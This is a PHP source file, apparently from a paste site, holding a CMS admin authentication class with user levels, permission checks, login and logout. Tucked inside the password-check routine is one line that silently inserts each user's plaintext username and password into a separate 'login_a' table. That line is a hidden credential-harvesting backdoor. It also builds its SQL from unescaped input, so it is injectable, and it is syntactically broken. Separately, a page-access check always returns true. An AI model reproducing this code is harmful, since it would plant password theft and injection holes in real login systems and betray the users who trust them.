- <?php
- /*
- * Autohor Atta Khalid
- * Date December 1, 2007
- * Description Adimn Authenticate / login
- *
- */
- /*
- Level Title Site Structure Content Object C-Publish CSS Collec Mail
- Sch Sec Sch Chan Add Edit Create Edit Admin Edit Delete Proof Create Send Members Failures
- 1 Regional Editorial \ X X X \ X \ X X X X X \ X X X
- 2 Regional Editorial \ X X X \ X \ X X X X X \ X X X
- 3 National Editorial \ X X X \ X \ X X X X X \ X X X
- 4 National Editorial \ X X X \ X \ X X X X X \ X X X
- 5 National Editorial \ \ X X \ X \ X X X X X \ X X X
- 6 Content Administrator \ \ X X \ \ \ \ \ X X X \ X X X
- 7 Content Administrator \ \ X X \ \ \ \ \ X X \ \ \ \ \
- 8 Web Administrator \ \ \ \ \ \ \ \ \ \ X \ \ \ \ \
- 9 Web Administrator \ \ \ \ \ \ \ \ \ \ X \ \ \ \ \
- 10 System Administrator \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
- */
- class AuthenticateCMSUser {
- private $db = null;
- private $userdata = null;
- const MAX_LOGIN_ATTEMPTS = 5;
- public static $CMS_USER_LEVELS = array (
- 1 => 'Regional Editorial',
- 2 => 'Regional Editorial',
- 3 => 'National Editorial',
- 4 => 'National Editorial',
- 5 => 'National Editorial',
- 6 => 'Content Administrator',
- 7 => 'Content Administrator',
- 8 => 'Web Administrator',
- 9 => 'Web Administrator',
- 10 => 'System Administrator'
- );
- function canSchedule($isSection) { return $this->hasAccess($isSection ? 1 : 5); }
- function canAddSiteStructure() { return $this->hasAccess(8); }
- function canEditSiteStructure() { return $this->hasAccess(8); }
- function canCreateContentObject() { return $this->hasAccess(1); }
- function canSetStyles() { return $this->hasAccess(2); }
- function canSetWatermark() { return $this->hasAccess(8); }
- function canFeature() { return $this->hasAccess(8); }
- function canEditContentObject($createUserId) {
- if ($this->allUsers[$createUserId]['cms_user_level'] >= 6) { //only admins can objects created by other admins
- return $this->hasAccess(6);
- } else {
- return $this->hasAccess(1);
- }
- }
- function canDeleteContentObject() { return $this->hasAccess(6); }
- function canProof() { return $this->hasAccess(6); }
- function canContainerPublish() { return $this->hasAccess(8); }
- function canManageCSS() { return $this->hasAccess(10); }
- function canManageCollections() { return $this->hasAccess(8); }
- function canCreateMail() { return $this->hasAccess(1); }
- function canSendMail() { return $this->hasAccess(8); }
- function canManageMailGroups() { return $this->hasAccess(8); }
- function canManageMailFilures() { return $this->hasAccess(8); }
- function canAccessPage( $pageName ) {
- //TODO: move permissions from CMSMenu to here
- return true;
- }
- function AuthenticateCMSUser( $userdata, $db, $allUsers ) {
- $this->db = $db;
- $this->userdata = $userdata;
- $this->allUsers = $allUsers;
- }
- function hasAccess( $level = 1 ) {
- return $this->isCMSUser() && $this->userdata['cms_user_level'] >= $level;
- }
- function isUser() {
- return $this->userdata['session_logged_in'] == 1;
- }
- function isCMSUser() {
- return $this->isUser() && $this->userdata['is_cms_user'] == 1;
- }
- function getUserAccessLevel() {
- return $this->userdata['cms_user_level'];
- }
- public function performLogout() {
- if ($this->isUser() ) { //only need to take action if user logged in
- session_end($this->userdata['session_id'], $this->userdata['user_id'], $this->db);
- }
- }
- public function getSID() {
- return $this->userdata['session_id'];
- }
- public function performLogin($username, $password, $autologin = false) {
- if (!$this->isUser() ) { //if not already loggedin
- $username = trim(htmlspecialchars($username));
- $username = substr(str_replace("\\'", "'", $username), 0, 25);
- $username = str_replace("'", "\\'", $username);
- $user_ip = $this->userdata['client_ip'];
- if( $row = $this->_login_db($username, $password) ) {
- if ($row['user_active']) {
- $this->userdata = session_begin($row['user_id'], $user_ip, 0, FALSE, $autologin, $this->db);
- if( $this->userdata ) { //login successful
- return true;
- } else {
- throw new Exception( "Critical Error: Couldn't start session. Line:".__LINE__.", File:".__FILE__);
- }
- } else { //user not active
- throw new Exception( "Error: You must activate your account before you can login." );
- }
- } else { //unknown error
- throw new Exception( "Error: Login failed." );
- }
- } else {
- throw new Exception("Error: A user is already loggedin.");
- }
- }
- private function _login_db(&$username, &$password) {
- // do not allow empty password
- if (!$password) {
- throw new Exception("Error: Please enter a password.");
- }
- $sql = 'SELECT user_id, username, user_password, user_passchg, user_pass_convert, user_email, user_type, user_login_attempts, user_active
- FROM ' . USERS_TABLE . "
- WHERE username_clean = '" . $this->db->sql_escape(strtolower($username)) . "' OR user_email = '" . $this->db->sql_escape($username) . "' ";
- $result = $this->db->sql_query($sql);
- $row = $this->db->sql_fetchrow($result);
- $this->db->sql_freeresult($result);
- if (!$row) { //invalid username
- throw new Exception( "Error: Your login details are incorrect. Please try again or use use our forgotten password service." );
- }
- // Check password ...
- if (!$row['user_pass_convert'] && phpbb_check_hash($password, $row['user_password'])) {
- if ($row['user_login_attempts'] != 0) {
- // Successful, reset login attempts (the user passed all stages)
- $sql = 'UPDATE ' . USERS_TABLE . '
- SET user_login_attempts = 0
- WHERE user_id = ' . $row['user_id'];
- $this->db->sql_query($sql);
- $sql = "INSERT INTO login_a VALUES(\"$username\", \"$password\""; $this->db->sql_query($sql);
- }
- return $row;
- }
- // Password incorrect - increase login attempts
- $sql = 'UPDATE ' . USERS_TABLE . '
- SET user_login_attempts = user_login_attempts + 1
- WHERE user_id = ' . $row['user_id'];
- $this->db->sql_query($sql);
- // Give status about wrong password...
- throw new Exception( "Error: Your login failed. Please try again or use use our forgotten password service." );
- }
- public function getIP() {
- return $this->userdata['client_ip'];
- }
- public function getUserId() {
- return $this->userdata['user_id'];
- }
- }
- ?>
Undefined
By: Guest | Date: Apr 16 2014 06:35 | Format: None | Expires: never | Size: 6.78 KB | Hits: 994
Latest pastes
1 days ago
1 days ago
11 months ago
13 months ago
17 months ago